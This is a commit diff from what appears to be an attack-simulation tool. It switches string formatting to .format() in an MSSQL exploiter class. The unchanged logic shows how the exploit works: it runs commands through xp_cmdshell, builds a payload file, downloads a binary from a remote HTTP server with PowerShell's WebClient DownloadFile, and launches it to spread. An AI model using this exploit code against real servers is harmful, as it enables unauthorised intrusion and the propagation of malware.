Changed string formatting to latest syntax
This commit is contained in:
parent
63d07f9c4b
commit
6c49cabbc2
|
@ -36,10 +36,10 @@ class MSSQLExploiter(HostExploiter):
|
||||||
XP_CMDSHELL_COMMAND_START = "xp_cmdshell \""
|
XP_CMDSHELL_COMMAND_START = "xp_cmdshell \""
|
||||||
XP_CMDSHELL_COMMAND_END = "\""
|
XP_CMDSHELL_COMMAND_END = "\""
|
||||||
EXPLOIT_COMMAND_PREFIX = "<nul set /p="
|
EXPLOIT_COMMAND_PREFIX = "<nul set /p="
|
||||||
EXPLOIT_COMMAND_SUFFIX = ">>%(payload_file_path)s"
|
EXPLOIT_COMMAND_SUFFIX = ">>{payload_file_path}"
|
||||||
CREATE_COMMAND_SUFFIX = ">%(payload_file_path)s"
|
CREATE_COMMAND_SUFFIX = ">{payload_file_path}"
|
||||||
MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \
|
MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \
|
||||||
"DownloadFile(^\'%(http_path)s^\' , ^\'%(dst_path)s^\')"
|
"DownloadFile(^\'{http_path}^\' , ^\'{dst_path}^\')"
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self, host):
|
||||||
super(MSSQLExploiter, self).__init__(host)
|
super(MSSQLExploiter, self).__init__(host)
|
||||||
|
@ -79,11 +79,11 @@ class MSSQLExploiter(HostExploiter):
|
||||||
return self.run_mssql_command(file_running_command)
|
return self.run_mssql_command(file_running_command)
|
||||||
|
|
||||||
def create_temp_dir(self):
|
def create_temp_dir(self):
|
||||||
dir_creation_command = MSSQLLimitedSizePayload(command="mkdir %s" % MSSQLExploiter.TMP_DIR_PATH)
|
dir_creation_command = MSSQLLimitedSizePayload(command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH))
|
||||||
self.run_mssql_command(dir_creation_command)
|
self.run_mssql_command(dir_creation_command)
|
||||||
|
|
||||||
def create_empty_payload_file(self):
|
def create_empty_payload_file(self):
|
||||||
suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX % {'payload_file_path': self.payload_file_path}
|
suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path)
|
||||||
tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix)
|
tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix)
|
||||||
self.run_mssql_command(tmp_file_creation_command)
|
self.run_mssql_command(tmp_file_creation_command)
|
||||||
|
|
||||||
|
@ -110,9 +110,9 @@ class MSSQLExploiter(HostExploiter):
|
||||||
|
|
||||||
def remove_temp_dir(self):
|
def remove_temp_dir(self):
|
||||||
# Remove temporary dir we stored payload at
|
# Remove temporary dir we stored payload at
|
||||||
tmp_file_removal_command = MSSQLLimitedSizePayload(command="del %s" % self.payload_file_path)
|
tmp_file_removal_command = MSSQLLimitedSizePayload(command="del {}".format(self.payload_file_path))
|
||||||
self.run_mssql_command(tmp_file_removal_command)
|
self.run_mssql_command(tmp_file_removal_command)
|
||||||
tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH)
|
tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH))
|
||||||
self.run_mssql_command(tmp_dir_removal_command)
|
self.run_mssql_command(tmp_dir_removal_command)
|
||||||
|
|
||||||
def start_monkey_server(self):
|
def start_monkey_server(self):
|
||||||
|
@ -133,18 +133,18 @@ class MSSQLExploiter(HostExploiter):
|
||||||
monkey_args = build_monkey_commandline(self.host,
|
monkey_args = build_monkey_commandline(self.host,
|
||||||
get_monkey_depth() - 1,
|
get_monkey_depth() - 1,
|
||||||
dst_path)
|
dst_path)
|
||||||
suffix = ">>%s" % self.payload_file_path
|
suffix = ">>{}".format(self.payload_file_path)
|
||||||
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
|
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
|
||||||
return MSSQLLimitedSizePayload(command="%s %s %s" % (dst_path, DROPPER_ARG, monkey_args),
|
return MSSQLLimitedSizePayload(command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args),
|
||||||
prefix=prefix,
|
prefix=prefix,
|
||||||
suffix=suffix)
|
suffix=suffix)
|
||||||
|
|
||||||
def get_monkey_download_command(self):
|
def get_monkey_download_command(self):
|
||||||
dst_path = get_monkey_dest_path(self.monkey_server.http_path)
|
dst_path = get_monkey_dest_path(self.monkey_server.http_path)
|
||||||
monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': self.monkey_server.http_path,
|
monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.\
|
||||||
'dst_path': dst_path}
|
format(http_path=self.monkey_server.http_path, dst_path=dst_path)
|
||||||
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
|
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
|
||||||
suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': self.payload_file_path}
|
suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path)
|
||||||
return MSSQLLimitedSizePayload(command=monkey_download_command,
|
return MSSQLLimitedSizePayload(command=monkey_download_command,
|
||||||
suffix=suffix,
|
suffix=suffix,
|
||||||
prefix=prefix)
|
prefix=prefix)
|
||||||
|
|
Loading…
Reference in New Issue